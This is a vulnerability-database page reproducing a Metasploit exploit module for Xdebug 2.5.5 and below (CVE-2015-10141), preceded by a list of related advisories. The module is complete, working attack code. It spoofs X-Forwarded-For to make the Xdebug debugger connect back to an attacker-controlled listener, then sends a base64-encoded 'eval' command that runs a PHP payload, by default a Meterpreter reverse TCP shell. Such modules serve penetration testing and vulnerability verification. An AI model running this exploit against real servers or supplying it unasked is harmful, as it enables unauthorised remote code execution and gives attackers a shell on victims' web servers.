Lucene search
+L

xdebug Unauthenticated OS Command Execution

🗓️ 17 Sep 2017 00:00:00Reported by Ricter Zheng, Shaksham Jaiswal, MumbaiType 
metasploit
 metasploit
🔗 www.rapid7.com👁 85 Views

xdebug Unauthenticated OS Command Execution module exploits a vulnerability in Xdebug versions 2.5.5 and below, allowing execution of arbitrary php code as the web user context

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2015-10141
17 Jun 202621:20
githubexploit
circl
Circl
CVE-2015-10141
29 May 201815:50
circl
cnnvd
CNNVD
Xdebug 安全漏洞
23 Jul 202500:00
cnnvd
cve
CVE
CVE-2015-10141
23 Jul 202513:53
cve
cvelist
Cvelist
CVE-2015-10141 Xdebug Remote Debugger Unauthenticated OS Command Execution
23 Jul 202513:53
cvelist
debiancve
Debian CVE
CVE-2015-10141
23 Jul 202513:53
debiancve
euvd
EUVD
EUVD-2015-9401
7 Oct 202500:30
euvd
nuclei
Nuclei
Xdebug <= 2.5.5 - Command Injection
24 Aug 202605:53
nuclei
nvd
NVD
CVE-2015-10141
23 Jul 202514:15
nvd
osv
OSV
DEBIAN-CVE-2015-10141
23 Jul 202514:15
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'xdebug Unauthenticated OS Command Execution',
        'Description' => %q{
          Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
          This allows the attacker to execute arbitrary php code as the context of the web user.
        },
        'DisclosureDate' => '2017-09-17',
        'Author' => [
          'Ricter Zheng', # Discovery https://twitter.com/RicterZ
          'Shaksham Jaiswal', # MinatoTW
          'Mumbai' # Austin Hudson
        ],
        'References' => [
          ['CVE', '2015-10141'],
          ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
          ['URL', 'http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => [ARCH_PHP],
        'DefaultTarget' => 0,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [[ 'Automatic', {} ]],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
      OptAddressLocal.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
      OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
      Opt::RPORT(80),
    ])
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => datastore["PATH"],
        'method' => 'GET',
        'vars_get' => {
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
        }
      })
      vprint_status "Request sent\n#{res}"
      if res && res.headers.to_s =~ /XDEBUG/i
        vprint_good("Looks like remote server has xdebug enabled\n")
        return CheckCode::Detected('Xdebug header detected in response')
      else
        return CheckCode::Safe('Xdebug header not found in response')
      end
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Connection to target failed')
    end
  end

  def exploit
    payl = Rex::Text.encode_base64("#{payload.encoded}")
    cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("eval(base64_decode(\"#{payl}\"));") + "\x00"
    webserver = Thread.new do
      begin
        server = Rex::Socket::TcpServer.create(
          'LocalPort' => datastore['SRVPORT'],
          'LocalHost' => srvhost,
          'Context' => {
            'Msf' => framework,
            'MsfExploit' => self
          }
        )

        client = server.accept
        print_status("Waiting for client response.")
        data = client.recv(1024)
        print_status("Receiving response")
        vprint_line(data)
        print_status("Shell might take upto a minute to respond.Please be patient.")
        print_status("Sending payload of size #{cmd1.length} bytes")
        client.write(cmd1)
        client.close
        server.close
        webserver.exit
      ensure
        webserver.exit
      end
    end
    send_request_cgi({
      'uri' => datastore['PATH'],
      'method' => 'GET',
      'headers' => {
        'X-Forwarded-For' => "#{lhost}",
        'Cookie' => 'XDEBUG_SESSION=' + rand_text_alphanumeric(10)
      }
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation